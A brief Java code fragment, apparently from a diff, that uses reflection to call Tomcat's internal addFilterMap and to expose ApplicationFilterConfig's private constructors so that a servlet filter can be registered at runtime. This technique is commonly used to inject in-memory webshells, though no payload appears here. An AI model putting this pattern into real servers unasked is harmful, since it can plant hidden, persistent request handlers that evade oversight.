invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass(), boolean.class}, new Object[]{filterMap, false}); } Constructor[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); constructors[0].setAccessible(true);